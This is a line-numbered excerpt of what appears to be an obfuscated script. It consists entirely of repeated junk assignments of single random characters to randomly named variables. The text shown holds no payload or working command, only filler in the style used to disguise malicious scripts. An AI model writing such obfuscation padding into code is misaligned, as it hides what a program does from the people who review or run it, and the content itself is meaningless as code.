380	xkjbpke = "h";
381	xkjbpke = "K";
382	xkjbpke = "A";
383	xkjbpke = "I";
384	xkjbpke = "l";
385	xkjbpke = "q";
386	xkjbpke = "e";
387	xkjbpke = "R";
388	xkjbpke = "U";
389	xkjbpke = "R";
390	xkjbpke = "V";
391	xkjbpke = "X";
392	xkjbpke = "W";
393	xkjbpke = "W";
394	xkjbpke = "W";
395	xkjbpke = "m";
396	xkjbpke = "Q";
397	xkjbpke = "U";
398	xkjbpke = "l";
399	xkjbpke = "m";
400	xkjbpke = "c";
401	xkjbpke = "o";
402	xkjbpke = "x";
403	xkjbpke = "J";
404	xkjbpke = "O";
405	xkjbpke = "T";
406	xkjbpke = "r";
407	xkjbpke = "d";
408	xkjbpke = "k";
409	xkjbpke = "j";
410	xkjbpke = "C";
411	xkjbpke = "W";
412	xkjbpke = "Z";
413	xkjbpke = "v";
414	xkjbpke = "L";
415	xkjbpke = "c";
416	xkjbpke = "d";
417	xkjbpke = "t";
418	xkjbpke = "O";
419	xkjbpke = "O";
420	ewaftwrp = "w";
421	ewaftwrp = "e";
422	ewaftwrp = "J";
423	ewaftwrp = "e";
424	ziuwhgy = "k";
425	ziuwhgy = "s";
426	ziuwhgy = "h";
427	ziuwhgy = "x";
428	ziuwhgy = "S";
429	ziuwhgy = "n";
430	ziuwhgy = "F";
431	ziuwhgy = "a";
432	ziuwhgy = "X";
433	ziuwhgy = "b";
434	ziuwhgy = "p";
435	ziuwhgy = "I";
436	ziuwhgy = "z";
437	ziuwhgy = "H";
438	ziuwhgy = "S";
439	ziuwhgy = "q";
440	ziuwhgy = "D";
441	ziuwhgy = "O";
442	ziuwhgy = "z";
443	ziuwhgy = "G";
444	ziuwhgy = "d";
445	ziuwhgy = "I";
446	ziuwhgy = "q";
447	ziuwhgy = "V";
448	ziuwhgy = "a";
449	ziuwhgy = "N";
450	wyltzvel = "b";
451	wyltzvel = "A";
452	wyltzvel = "a";
453	wyltzvel = "u";
454	wyltzvel = "m";
455	wyltzvel = "l";
456	wyltzvel = "p";
457	wyltzvel = "v";
458	wyltzvel = "p";
459	wyltzvel = "R";
460	wyltzvel = "b";
461	wyltzvel = "L";
462	wyltzvel = "I";
463	wyltzvel = "i";
464	wyltzvel = "Z";
465	wyltzvel = "B";
466	wyltzvel = "u";
467	wyltzvel = "g";
468	wyltzvel = "C";
469	wyltzvel = "F";
470	wyltzvel = "i";
471	wyltzvel = "Y";
472	wyltzvel = "k";
473	enpiuogd = "F";
474	enpiuogd = "o";
475	enpiuogd = "G";
476	enpiuogd = "k";
477	enpiuogd = "T";
478	enpiuogd = "Y";
479	enpiuogd = "O";
480	enpiuogd = "Q";
481	enpiuogd = "y";
482	enpiuogd = "U";
483	enpiuogd = "x";
484	enpiuogd = "H";
485	enpiuogd = "f";
486	enpiuogd = "j";
487	enpiuogd = "W";
488	enpiuogd = "P";
489	enpiuogd = "H";
490	enpiuogd = "j";
491	enpiuogd = "d";
492	enpiuogd = "U";
493	enpiuogd = "Q";
494	enpiuogd = "O";
495	enpiuogd = "b";
496	enpiuogd = "X";
497	enpiuogd = "C";
498	enpiuogd = "z";
499	enpiuogd = "n";
500	enpiuogd = "D";
501	enpiuogd = "N";
502	enpiuogd = "O";
503	enpiuogd = "w";
504	enpiuogd = "B";
505	enpiuogd = "q";
506	enpiuogd = "Z";
507	enpiuogd = "M";
508	enpiuogd = ".";
509	hdabqpub = "r";
510	hdabqpub = "i";
511	hdabqpub = "P";
512	hdabqpub = "v";
513	hdabqpub = "j";
514	hdabqpub = "o";
515	hdabqpub = "n";
516	hdabqpub = "f";
517	hdabqpub = "k";
518	hdabqpub = "u";
519	hdabqpub = "r";
520	hdabqpub = "h";
521	hdabqpub = "d";
522	hdabqpub = "w";
523	hdabqpub = "X";
524	hdabqpub = "R";
525	wqhtf = "p";
526	jdakn = "X";
527	jdakn = "E";
528	jdakn = "M";
529	jdakn = "Y";
530	jdakn = "B";
531	jdakn = "g";
532	jdakn = "T";
533	jdakn = "h";
534	jdakn = "Z";
535	jdakn = "m";
536	jdakn = "a";
537	jdakn = "F";
538	jdakn = "C";
539	jdakn = "q";
540	jdakn = "a";
541	jdakn = "x";
542	jdakn = "Z";
543	jdakn = "N";
544	jdakn = "h";
545	jdakn = "I";
546	jdakn = "l";
547	jdakn = "v";
548	jdakn = "Z";
549	jdakn = "M";
550	jdakn = "D";
551	jdakn = "A";
552	jdakn = "e";
553	jdakn = "n";
554	jdakn = "h";
555	jdakn = "S";
556	jdakn = "x";
557	jdakn = "Z";
558	jdakn = "D";
559	jdakn = "I";
560	jdakn = "w";
561	jdakn = "c";
562	jdakn = "U";
563	jdakn = "x";
564	jdakn = "s";
565	jdakn = "G";
566	jdakn = "C";
567	jdakn = "y";
568	jdakn = "m";
569	wckehtkdo = "Q";
570	wckehtkdo = "F";
571	wckehtkdo = "D";
572	wckehtkdo = "C";
573	wckehtkdo = "w";
574	wckehtkdo = "w";
575	wckehtkdo = "Z";
576	wckehtkdo = "l";
577	wckehtkdo = "f";
578	wckehtkdo = "g";
579	wckehtkdo = "h";
580	efblwhiw = "g";
581	efblwhiw = "a";
582	efblwhiw = "a";
583	efblwhiw = "x";
584	efblwhiw = "v";
585	efblwhiw = "g";
586	efblwhiw = "k";
587	efblwhiw = "j";
588	efblwhiw = "t";
589	efblwhiw = "L";
590	efblwhiw = "k";
591	efblwhiw = "d";
592	efblwhiw = "m";
593	efblwhiw = "c";
594	efblwhiw = "C";
595	efblwhiw = "w";
596	efblwhiw = "y";
597	efblwhiw = "A";
598	efblwhiw = "m";
599	efblwhiw = "K";
600	efblwhiw = "o";
601	efblwhiw = "1";
602	ejfta = "T";
603	ejfta = "K";
604	ejfta = "P";
605	ejfta = "B";
606	ejfta = "h";
607	ejfta = "Q";
608	ejfta = "g";
609	ejfta = "r";
610	ejfta = "x";
611	ejfta = "h";
612	ejfta = "K";
613	ejfta = "d";
614	ejfta = "f";
615	ejfta = "e";
616	ejfta = "K";
617	ejfta = "a";
618	ejfta = "s";
619	ejfta = "y";
620	ejfta = "x";
621	ejfta = "u";
622	ejfta = "A";
623	ejfta = "z";
624	ejfta = "O";
625	ejfta = "s";
626	ejfta = "Q";
627	ejfta = "x";
628	ejfta = "T";
629	ejfta = "y";
630	ejfta = "m";
631	ejfta = "i";
632	ejfta = "r";
633	ejfta = "T";
634	ejfta = "6";
635	kktpnr = "u";
636	kktpnr = "b";
637	kktpnr = "m";
638	kktpnr = "j";
639	kktpnr = "m";
640	kktpnr = "J";
641	kktpnr = "o";
642	kktpnr = "i";
643	kktpnr = "b";
644	kktpnr = "c";
645	kktpnr = "G";
646	kktpnr = "e";
647	kktpnr = "I";
648	kktpnr = "v";
649	kktpnr = "F";
650	kktpnr = "Z";
651	kktpnr = "T";
652	kktpnr = "E";
653	kktpnr = "b";
654	kktpnr = "Y";
655	kktpnr = "m";
656	kktpnr = "E";
657	kktpnr = "E";
658	kktpnr = "D";
659	kktpnr = "U";
660	kktpnr = "l";
661	kktpnr = "x";
662	kktpnr = "a";
663	kktpnr = "q";
664	kktpnr = "K";
665	kktpnr = "X";
666	kktpnr = "O";
667	kktpnr = "b";
668	kktpnr = "i";
669	kktpnr = "Z";
670	kktpnr = "E";
671	kktpnr = "z";
672	kktpnr = "B";
673	kktpnr = "H";
674	kktpnr = "l";
675	kktpnr = "Y";
676	kktpnr = "z";
677	kktpnr = "E";
678	kktpnr = "Y";
679	myvqhqfi = "e";
680	myvqhqfi = "J";
681	myvqhqfi = "c";
682	myvqhqfi = "N";
683	myvqhqfi = "T";
684	myvqhqfi = "u";
685	myvqhqfi = "s";
686	myvqhqfi = "C";
687	myvqhqfi = "e";
688	myvqhqfi = "L";
689	myvqhqfi = "s";
690	myvqhqfi = "w";
691	myvqhqfi = "b";
692	myvqhqfi = "L";
693	myvqhqfi = "8";
694	gyjclq = "o";
695	gyjclq = "q";
696	gyjclq = "F";
697	gyjclq = "A";
698	gyjclq = "L";
699	gyjclq = "P";
700	gyjclq = "J";
701	gyjclq = "A";
702	gyjclq = "I";
703	gyjclq = "X";
704	gyjclq = "B";
705	gyjclq = "M";
706	gyjclq = "Q";
707	gyjclq = "v";
708	gyjclq = "C";
709	vsccgsu = "I";
710	vsccgsu = "u";
711	vsccgsu = "S";
712	vsccgsu = "y";
713	vsccgsu = "j";
714	vsccgsu = "x";
715	vsccgsu = "G";
716	vsccgsu = "e";
717	vsccgsu = "v";
718	vsccgsu = "W";
719	vsccgsu = "c";
720	vsccgsu = "j";
721	vsccgsu = "F";
722	vsccgsu = "H";
723	vsccgsu = "F";
724	vsccgsu = "W";
725	vsccgsu = "I";
726	vsccgsu = "A";
727	vsccgsu = "n";
728	vsccgsu = "O";
729	vsccgsu = "t";
730	vsccgsu = "h";
731	vsccgsu = "n";
732	vsccgsu = "l";
733	vsccgsu = "r";
734	tzlhgpj = "p";
735	tzlhgpj = "v";
736	tzlhgpj = "R";
737	tzlhgpj = "L";
738	tzlhgpj = "k";
739	tzlhgpj = "N";
740	tzlhgpj = "H";
741	tzlhgpj = "k";
742	tzlhgpj = "T";
743	tzlhgpj = "Y";
744	tzlhgpj = "k";
745	tzlhgpj = "r";
746	tzlhgpj = "L";
747	tzlhgpj = "c";
748	tzlhgpj = "W";
749	tzlhgpj = "z";
750	tzlhgpj = "P";
751	tzlhgpj = "K";
752	tzlhgpj = "G";
753	tzlhgpj = "m";
754	tzlhgpj = "V";
755	tzlhgpj = "s";
756	tzlhgpj = "q";
757	tzlhgpj = "G";
758	tzlhgpj = "E";
759	tzlhgpj = "F";
760	akkajs = "N";
761	akkajs = "H";
762	akkajs = "f";
763	akkajs = "S";
764	akkajs = "n";
765	akkajs = "g";
766	akkajs = "z";
767	akkajs = "p";
768	akkajs = "e";
769	akkajs = "n";
770	akkajs = "K";
771	akkajs = "Q";
772	akkajs = "V";
773	akkajs = "Y";
774	akkajs = "k";
775	akkajs = "A";
776	akkajs = "I";
777	akkajs = "H";
778	akkajs = "C";
779	akkajs = "n";
780	akkajs = "w";
781	ncpyf = "Q";
782	ncpyf = "m";
783	ncpyf = "G";
784	ncpyf = "R";
785	ncpyf = "D";
786	ncpyf = "U";
787	ncpyf = "Q";
788	ncpyf = "f";
789	ncpyf = "d";
790	ncpyf = "q";
791	ncpyf = "m";
792	ncpyf = "b";
793	ncpyf = "i";
794	ncpyf = "m";
795	ncpyf = "Q";
796	ncpyf = "T";
797	ncpyf = "V";
798	ncpyf = "A";
799	ncpyf = "v";
800	ncpyf = "T";
801	ncpyf = "j";
802	ncpyf = "i";
803	ncpyf = "b";
804	ncpyf = "n";
805	ncpyf = "U";
806	ncpyf = "c";
807	ncpyf = "A";
808	ncpyf = "G";
809	ncpyf = "D";
810	ncpyf = "r";
811	ncpyf = "n";
812	ncpyf = "C";
813	ncpyf = "/";
814	raybdq = "v";
815	raybdq = "D";
816	raybdq = "t";
817	raybdq = "F";
818	raybdq = "R";
819	raybdq = "Z";
820	raybdq = "l";
821	raybdq = "h";
822	raybdq = "k";
823	raybdq = "i";
824	raybdq = "j";
825	raybdq = "O";
826	raybdq = "u";
827	raybdq = "c";
828	raybdq = "f";
829	raybdq = "q";
830	raybdq = "E";
831	raybdq = "t";
832	raybdq = "m";
833	raybdq = "d";
834	raybdq = "f";
835	raybdq = "C";
836	raybdq = "L";
837	raybdq = "N";
838	raybdq = "V";
839	raybdq = "r";
840	raybdq = "v";
841	raybdq = "u";
842	raybdq = "d";
843	raybdq = "a";
844	raybdq = "H";
845	raybdq = "T";
846	raybdq = "K";
847	raybdq = "D";
848	raybdq = "T";
849	raybdq = "a";
850	nnytr = "S";
851	nnytr = "N";
852	nnytr = "i";
853	nnytr = "l";
854	nnytr = "u";
855	nnytr = "l";
856	nnytr = "b";
857	nnytr = "U";
858	nnytr = "w";
859	nnytr = "C";
860	nnytr = "G";
861	nnytr = "g";
862	nnytr = "y";
863	nnytr = "O";
864	nnytr = "v";
865	nnytr = "W";
866	ujpgo = "g";
867	ujpgo = "C";
868	ujpgo = "E";
869	ujpgo = "Y";
870	ujpgo = "A";
871	ujpgo = "M";
872	ujpgo = "N";
873	ujpgo = "m";
874	ujpgo = "q";
875	ujpgo = "b";
876	ujpgo = "H";
877	ujpgo = "a";
878	ujpgo = "r";
879	ujpgo = "q";
880	ujpgo = "q";
881	ujpgo = "c";
882	ujpgo = "s";
883	ujpgo = "Y";
884	ujpgo = "j";
885	ujpgo = "T";
886	ujpgo = "c";
887	ujpgo = "a";
888	ujpgo = "W";
889	ujpgo = "b";
890	acpap = "r";
891	acpap = "T";
892	acpap = "X";
893	acpap = "m";
894	acpap = "y";
895	acpap = "r";
896	acpap = "Z";
897	acpap = "w";
898	acpap = "e";
899	acpap = "H";
900	acpap = "S";
901	acpap = "f";
902	acpap = "i";
903	acpap = "F";
904	acpap = "I";
905	acpap = "o";
906	acpap = "M";
907	acpap = "g";
908	acpap = "Y";
909	acpap = "t";
910	acpap = "t";
911	acpap = "k";
912	acpap = "E";
913	acpap = "Y";
914	acpap = "S";
915	acpap = "R";
916	acpap = "F";
917	acpap = "v";
918	acpap = "e";
919	acpap = "J";
920	acpap = "P";
921	acpap = "Q";
922	acpap = "q";
923	acpap = "r";
924	acpap = "t";
925	acpap = "s";
926	acpap = "-";
927	ueohc = "q";
928	ueohc = "t";
929	ueohc = "k";
930	ueohc = "V";
931	ueohc = "D";
932	ueohc = "D";
933	ueohc = "c";
934	tgpddhw = "Q";
935	tgpddhw = "f";
936	tgpddhw = "J";
937	tgpddhw = "M";
938	tgpddhw = "H";
939	tgpddhw = "E";
940	tgpddhw = "w";
941	tgpddhw = "Z";
942	tgpddhw = "N";
943	tgpddhw = "w";
944	tgpddhw = "i";
945	tgpddhw = "l";
946	tgpddhw = "o";
947	tgpddhw = "C";
948	tgpddhw = "R";
949	tgpddhw = "h";
950	tgpddhw = "s";
951	tgpddhw = "q";
952	tgpddhw = "X";
953	tgpddhw = "H";
954	tgpddhw = "L";
955	tgpddhw = "B";
956	tgpddhw = "S";
957	tgpddhw = "g";
958	tgpddhw = "K";
959	fmsxsi = "d";
960	fmsxsi = "n";
961	fmsxsi = "m";
962	fmsxsi = "j";
963	fmsxsi = "q";
964	fmsxsi = "o";
965	fmsxsi = "V";
966	fmsxsi = "Q";
967	fmsxsi = "V";
968	fmsxsi = "q";
969	fmsxsi = "C";
970	fmsxsi = "k";
971	fmsxsi = "t";
972	fmsxsi = "H";
973	fmsxsi = "m";
974	fmsxsi = "O";
975	fmsxsi = "u";
976	fmsxsi = "E";
977	fmsxsi = "R";
978	fmsxsi = "M";
979	fmsxsi = "o";
980	fmsxsi = "O";
981	fmsxsi = "Q";
982	fmsxsi = "z";
983	fmsxsi = "n";
984	fmsxsi = "X";
985	fmsxsi = "h";
986	fmsxsi = "T";
987	fmsxsi = "I";
988	fmsxsi = "J";
989	fmsxsi = "E";
990	dnrqwde = "V";
991	dnrqwde = "W";
992	dnrqwde = "t";
993	dnrqwde = "g";
994	dnrqwde = "V";
995	dnrqwde = "z";
996	dnrqwde = "y";
997	dnrqwde = "L";
998	dnrqwde = "X";
999	dnrqwde = "l";
1000	dnrqwde = "b";
1001	dnrqwde = "L";
1002	dnrqwde = "t";
1003	dnrqwde = "X";
1004	dnrqwde = "R";
1005	dnrqwde = "P";
1006	dnrqwde = "G";
1007	dnrqwde = "H";
1008	dnrqwde = "D";
1009	dnrqwde = "Y";
1010	dnrqwde = "d";
1011	dnrqwde = "L";
1012	dnrqwde = "W";
1013	dnrqwde = "B";
1014	dnrqwde = "b";
1015	dnrqwde = "d";
1016	dnrqwde = "e";
1017	dnrqwde = "N";
1018	dnrqwde = "s";
1019	dnrqwde = "W";
1020	dnrqwde = "O";
1021	dnrqwde = "a";
1022	dnrqwde = "f";
1023	dnrqwde = "L";
1024	dnrqwde = "u";
1025	dnrqwde = "v";
1026	dnrqwde = "O";
1027	dnrqwde = "q";
1028	ttbzqunxg = "z";
1029	ttbzqunxg = "u";
1030	ttbzqunxg = "J";
1031	ttbzqunxg = "o";
1032	ttbzqunxg = "I";
1033	ttbzqunxg = "u";
1034	ttbzqunxg = "j";
1035	ttbzqunxg = "a";
1036	ttbzqunxg = "y";
1037	ttbzqunxg = "b";
1038	ttbzqunxg = "T";
1039	ttbzqunxg = "I";
1040	ttbzqunxg = "k";
1041	ttbzqunxg = "S";
1042	ttbzqunxg = "y";
1043	ttbzqunxg = "y";
1044	ttbzqunxg = "F";
1045	ttbzqunxg = "P";
1046	ttbzqunxg = "X";
1047	ttbzqunxg = "K";
1048	ttbzqunxg = "V";
1049	ttbzqunxg = "C";
1050	ttbzqunxg = "H";
1051	ttbzqunxg = "b";
1052	ttbzqunxg = "F";
1053	ttbzqunxg = "l";
1054	ttbzqunxg = "a";
1055	ttbzqunxg = "Z";
1056	ttbzqunxg = "f";
1057	ttbzqunxg = "L";
1058	ttbzqunxg = "J";
1059	ttbzqunxg = "Z";
1060	ttbzqunxg = "z";
1061	ttbzqunxg = "f";
1062	ttbzqunxg = "Q";
1063	ttbzqunxg = "J";
1064	ttbzqunxg = "L";
1065	ttbzqunxg = "k";
1066	ttbzqunxg = "F";
1067	ttbzqunxg = "Y";
1068	ttbzqunxg = "G";
1069	ttbzqunxg = "H";
1070	apxaq = "V";
1071	apxaq = "c";
1072	apxaq = "L";
1073	apxaq = "X";
1074	apxaq = "Z";
1075	apxaq = "I";
1076	apxaq = "S";
1077	apxaq = "T";
1078	apxaq = "v";
1079	apxaq = "B";
1080	apxaq = "X";
1081	apxaq = "r";
1082	apxaq = "e";
1083	apxaq = "n";
1084	apxaq = "x";
1085	apxaq = "V";
1086	apxaq = "A";
1087	apxaq = "a";
1088	apxaq = "X";
1089	apxaq = "a";
1090	apxaq = "Y";
1091	apxaq = "b";
1092	apxaq = "p";
1093	apxaq = "%";
1094	omwss = "u";
1095	omwss = "V";
1096	omwss = "m";
1097	omwss = "i";
1098	omwss = "J";
1099	omwss = "L";
1100	omwss = "R";
1101	omwss = "b";
1102	omwss = "Y";
1103	omwss = "n";
1104	omwss = "F";
1105	omwss = "L";
1106	omwss = "L";
1107	omwss = "v";
1108	omwss = "Z";
1109	omwss = "x";
1110	omwss = "w";
1111	omwss = "e";
1112	omwss = "d";
1113	omwss = "S";
1114	omwss = "b";
1115	omwss = "x";
1116	omwss = "k";
1117	omwss = "h";
1118	omwss = "d";
1119	omwss = "w";
1120	omwss = "w";
1121	omwss = "L";
1122	omwss = "c";
1123	omwss = "L";
1124	hpempit = "s";
1125	hpempit = "L";
1126	hpempit = "t";
1127	hpempit = "E";
1128	hpempit = "Y";
1129	hpempit = "E";
1130	hpempit = "a";
1131	hpempit = "s";
1132	hpempit = "q";
1133	hpempit = "t";
1134	hpempit = "O";
1135	hpempit = "R";
1136	hpempit = "r";
1137	hpempit = "U";
1138	hpempit = "M";
1139	hpempit = "X";
1140	hpempit = "Z";
1141	hpempit = "q";
1142	hpempit = "Q";
1143	hpempit = "S";
1144	hpempit = "f";
1145	hpempit = "M";
1146	hpempit = "A";
1147	hpempit = "V";
1148	hpempit = "n";
1149	hpempit = "J";
1150	hpempit = "C";
1151	hpempit = "I";
1152	hpempit = "g";
1153	hpempit = "V";
1154	hpempit = "S";
1155	hpempit = "f";
1156	hpempit = "a";
1157	hpempit = "Y";
1158	hpempit = "I";
1159	hpempit = "D";
1160	hpempit = "b";
1161	hpempit = "j";
1162	hpempit = "x";
1163	hpempit = "V";
1164	hpempit = "a";
1165	hpempit = "i";
1166	owwmyfmt = "h";
1167	owwmyfmt = "y";
1168	owwmyfmt = "k";
1169	owwmyfmt = "A";
1170	owwmyfmt = "A";
1171	owwmyfmt = "t";
1172	owwmyfmt = "s";
1173	owwmyfmt = "k";
1174	owwmyfmt = "A";
1175	owwmyfmt = "q";
1176	owwmyfmt = "m";
1177	owwmyfmt = "h";
1178	owwmyfmt = "l";
1179	owwmyfmt = "T";
1180	owwmyfmt = "Y";
1181	owwmyfmt = "R";
1182	owwmyfmt = "x";
1183	owwmyfmt = "t";
1184	owwmyfmt = "K";
1185	owwmyfmt = "i";
1186	owwmyfmt = "x";
1187	owwmyfmt = "Q";
1188	owwmyfmt = "u";
1189	owwmyfmt = "J";
1190	owwmyfmt = "d";
1191	xcaqfl = "q";
1192	xcaqfl = "I";
1193	xcaqfl = "f";
1194	xcaqfl = "D";
1195	xcaqfl = "e";
1196	xcaqfl = "P";
1197	xcaqfl = "l";
1198	xcaqfl = "f";
1199	xcaqfl = "S";
1200	xcaqfl = "Z";
1201	xcaqfl = "F";
1202	xcaqfl = "g";
1203	xcaqfl = "n";
1204	xcaqfl = "k";
1205	xcaqfl = "D";
1206	xcaqfl = "T";
1207	xcaqfl = "A";
1208	xcaqfl = "S";
1209	xcaqfl = "k";
1210	xcaqfl = "R";
1211	xcaqfl = "S";
1212	xcaqfl = "v";
1213	xcaqfl = "o";
1214	xcaqfl = "g";
1215	xcaqfl = "N";
1216	xcaqfl = "J";
1217	xcaqfl = "U";
1218	xcaqfl = "k";
1219	xcaqfl = "Z";
1220	xcaqfl = "s";
1221	xcaqfl = "i";
1222	xcaqfl = "O";
1223	xcaqfl = "F";
1224	xcaqfl = "b";
1225	xcaqfl = "N";
1226	xcaqfl = "H";
1227	xcaqfl = "s";
1228	xcaqfl = "R";
1229	xcaqfl = "j";
1230	dbuisxmbc = "x";
1231	dbuisxmbc = "I";
1232	dbuisxmbc = "H";
1233	dbuisxmbc = "k";
1234	dbuisxmbc = "w";
1235	dbuisxmbc = "F";
1236	dbuisxmbc = "I";
1237	dbuisxmbc = "o";
1238	dbuisxmbc = "B";
1239	dbuisxmbc = "b";
1240	dbuisxmbc = "j";
1241	dbuisxmbc = "V";
1242	dbuisxmbc = "W";
1243	dbuisxmbc = "H";
1244	dbuisxmbc = "s";
1245	dbuisxmbc = "Y";
1246	dbuisxmbc = "V";
1247	dbuisxmbc = "G";
1248	dbuisxmbc = "C";
1249	dbuisxmbc = "b";
1250	dbuisxmbc = "Z";
1251	dbuisxmbc = "b";
1252	dbuisxmbc = "H";
1253	dbuisxmbc = "O";
1254	dbuisxmbc = "j";
1255	dbuisxmbc = "x";
1256	dbuisxmbc = "X";
1257	dbuisxmbc = "A";
1258	dbuisxmbc = "I";
1259	dbuisxmbc = "H";
1260	dbuisxmbc = "g";
1261	dbuisxmbc = "v";
1262	dbuisxmbc = "l";
1263	dbuisxmbc = "z";
1264	dbuisxmbc = "p";
1265	dbuisxmbc = "w";
1266	dbuisxmbc = "o";
1267	ehrmn = "D";
1268	ehrmn = "l";
1269	ehrmn = "u";
1270	ehrmn = "B";
1271	ehrmn = "L";
1272	ehrmn = "v";
1273	ehrmn = "W";
1274	ehrmn = "S";
1275	ehrmn = "S";
1276	ehrmn = "B";
1277	ehrmn = "R";
1278	ehrmn = "A";
1279	ehrmn = "W";
1280	ehrmn = "p";
1281	ehrmn = "F";
1282	ehrmn = "j";
1283	ehrmn = "q";
1284	ehrmn = "i";
1285	ehrmn = "H";
1286	ehrmn = "v";
1287	ehrmn = "h";
1288	ehrmn = "s";
1289	ehrmn = "m";
1290	ehrmn = "p";
1291	ehrmn = "u";
1292	ehrmn = "Z";
1293	ehrmn = "j";
1294	ehrmn = "s";
1295	ehrmn = "A";
1296	ehrmn = "D";
1297	ehrmn = "k";
1298	ehrmn = "N";
1299	ehrmn = "F";
1300	ehrmn = "v";
1301	ehrmn = "Y";
1302	ehrmn = "q";
1303	ehrmn = "v";
1304	ehrmn = "w";
1305	ehrmn = "7";
1306	aahau = "o";
1307	aahau = "M";
1308	aahau = "G";
1309	aahau = "Y";
1310	aahau = "q";
1311	aahau = "R";
1312	aahau = "p";
1313	aahau = "Q";
1314	aahau = "J";
1315	aahau = "s";
1316	aahau = "Z";
1317	aahau = "I";
1318	aahau = "X";
1319	aahau = "m";
1320	aahau = "V";
1321	aahau = "R";
1322	aahau = "f";
1323	aahau = "v";
1324	aahau = "R";
1325	aahau = "B";
1326	aahau = "p";
1327	aahau = "l";
1328	aahau = "N";
1329	aahau = "K";
1330	aahau = "i";
1331	aahau = "b";
1332	aahau = "m";
1333	aahau = "v";
1334	aahau = "u";
1335	aahau = "N";
1336	aahau = "T";
1337	aahau = "e";
1338	aahau = "f";
1339	aahau = "u";
1340	aahau = "Q";
1341	aahau = "l";
1342	aahau = "O";
1343	aahau = "j";
1344	aahau = "F";
1345	aahau = "T";
1346	aahau = "f";
1347	aahau = "x";
1348	aahau = "O";
1349	aahau = "L";
1350	aahau = "&";
1351	dkjni = "Y";
1352	dkjni = "w";
1353	dkjni = "B";
1354	dkjni = "W";
1355	dkjni = "f";
1356	dkjni = "V";
1357	dkjni = "o";
1358	dkjni = "d";
1359	dkjni = "K";
1360	dkjni = "A";
1361	dkjni = "N";
1362	dkjni = "V";
1363	dkjni = "q";
1364	dkjni = "L";
1365	dkjni = "E";
1366	dkjni = "P";
1367	dkjni = "U";
1368	dkjni = "w";
1369	dkjni = "V";
1370	dkjni = "W";
1371	dkjni = "J";
1372	dkjni = "L";
1373	dkjni = "o";
1374	dkjni = "l";
1375	dkjni = "A";
1376	dkjni = "x";
1377	dkjni = "W";
1378	dkjni = "m";
1379	dkjni = "x";
1380	dkjni = "y";
1381	dkjni = "c";
1382	dkjni = "L";
1383	dkjni = "m";
1384	dkjni = "l";
1385	dkjni = "I";
1386	dkjni = "o";
1387	dkjni = "E";
1388	dkjni = "U";
1389	dkjni = "C";
1390	dkjni = " ";
1391	bhfnqkvez = "k";
1392	bhfnqkvez = "G";
1393	bhfnqkvez = "G";
1394	bhfnqkvez = "u";
1395	bhfnqkvez = "f";
1396	bhfnqkvez = "g";
1397	bhfnqkvez = "o";
1398	bhfnqkvez = "f";
1399	bhfnqkvez = "x";
1400	bhfnqkvez = "b";
1401	bhfnqkvez = "O";
1402	bhfnqkvez = "I";
1403	bhfnqkvez = "q";
1404	bhfnqkvez = "r";
1405	bhfnqkvez = "t";
1406	bhfnqkvez = "f";
1407	bhfnqkvez = "J";
1408	bhfnqkvez = "r";
1409	bhfnqkvez = "m";
1410	bhfnqkvez = "C";
1411	bhfnqkvez = "z";
1412	bhfnqkvez = "a";
1413	bhfnqkvez = "J";
1414	bhfnqkvez = "N";
1415	bhfnqkvez = "r";
1416	bhfnqkvez = "N";
1417	bhfnqkvez = "I";
1418	bhfnqkvez = "e";
1419	bhfnqkvez = "L";
1420	bhfnqkvez = "N";
1421	bhfnqkvez = "t";
1422	bhfnqkvez = "x";
1423	bhfnqkvez = "H";
1424	bhfnqkvez = "f";
1425	bhfnqkvez = "Y";
1426	bhfnqkvez = "h";
1427	bhfnqkvez = "d";
1428	bhfnqkvez = "r";
1429	bhfnqkvez = "U";
1430	bhfnqkvez = "u";
1431	bhfnqkvez = "N";
1432	bhfnqkvez = "E";
1433	bhfnqkvez = "5";
1434	usmfs = "w";
1435	usmfs = "v";
1436	usmfs = "i";
1437	usmfs = "v";
1438	usmfs = "h";
1439	usmfs = "n";
1440	usmfs = "A";
1441	usmfs = "G";
1442	usmfs = "x";
1443	usmfs = "n";
1444	usmfs = "Y";
1445	usmfs = "N";
1446	usmfs = "w";
1447	usmfs = "Q";
1448	usmfs = "l";
1449	usmfs = "U";
1450	usmfs = "r";
1451	usmfs = "F";
1452	usmfs = "w";
1453	usmfs = "I";
1454	usmfs = "v";
1455	usmfs = "X";
1456	usmfs = "l";
1457	usmfs = "F";
1458	usmfs = "Y";
1459	usmfs = "f";
1460	usmfs = "u";
1461	usmfs = "w";
1462	usmfs = "b";
1463	usmfs = "U";
1464	usmfs = "x";
1465	usmfs = "l";
1466	usmfs = "B";
1467	usmfs = "X";
1468	usmfs = "v";
1469	usmfs = "J";
1470	usmfs = "x";
1471	usmfs = "R";
1472	usmfs = "H";
1473	usmfs = "M";
1474	usmfs = "H";
1475	usmfs = "S";
1476	usmfs = "R";
1477	usmfs = "l";
1478	usmfs = "l";
1479	mjdtcfjw = "y";
1480	mjdtcfjw = "C";
1481	mjdtcfjw = "R";
1482	mjdtcfjw = "N";
1483	mjdtcfjw = "n";
1484	acbmvaag = "C";
1485	acbmvaag = "F";
1486	acbmvaag = "W";
1487	acbmvaag = "x";
1488	acbmvaag = "t";
1489	acbmvaag = "w";
1490	acbmvaag = "q";
1491	acbmvaag = "q";
1492	acbmvaag = "v";
1493	acbmvaag = "u";
1494	acbmvaag = "X";
1495	acbmvaag = "N";
1496	acbmvaag = "z";
1497	acbmvaag = "v";
1498	acbmvaag = "g";
1499	acbmvaag = "X";
1500	acbmvaag = "J";
1501	acbmvaag = "S";
1502	acbmvaag = "o";
1503	acbmvaag = "x";
1504	acbmvaag = "O";
1505	acbmvaag = "l";
1506	acbmvaag = "J";
1507	acbmvaag = "x";
1508	acbmvaag = "V";
1509	acbmvaag = "W";
1510	acbmvaag = "m";
1511	acbmvaag = "A";
1512	acbmvaag = "e";
1513	acbmvaag = "X";
1514	acbmvaag = "f";
1515	acbmvaag = "p";
1516	acbmvaag = "L";
1517	acbmvaag = "P";
1518	acbmvaag = "R";
1519	acbmvaag = "Z";
1520	acbmvaag = "p";
1521	acbmvaag = "s";
1522	acbmvaag = "K";
1523	acbmvaag = "q";
1524	acbmvaag = "d";
1525	acbmvaag = "V";
1526	acbmvaag = "w";
1527	acbmvaag = "s";
1528	kdgdmgt = "M";
1529	kdgdmgt = "c";
1530	kdgdmgt = "O";
1531	kdgdmgt = "x";
1532	kdgdmgt = "B";
1533	kdgdmgt = "F";
1534	kdgdmgt = "v";
1535	kdgdmgt = "v";
1536	iiaooycqu = "A";
1537	iiaooycqu = "k";
1538	iiaooycqu = "E";
1539	iiaooycqu = "e";
1540	iiaooycqu = "L";
1541	iiaooycqu = "X";
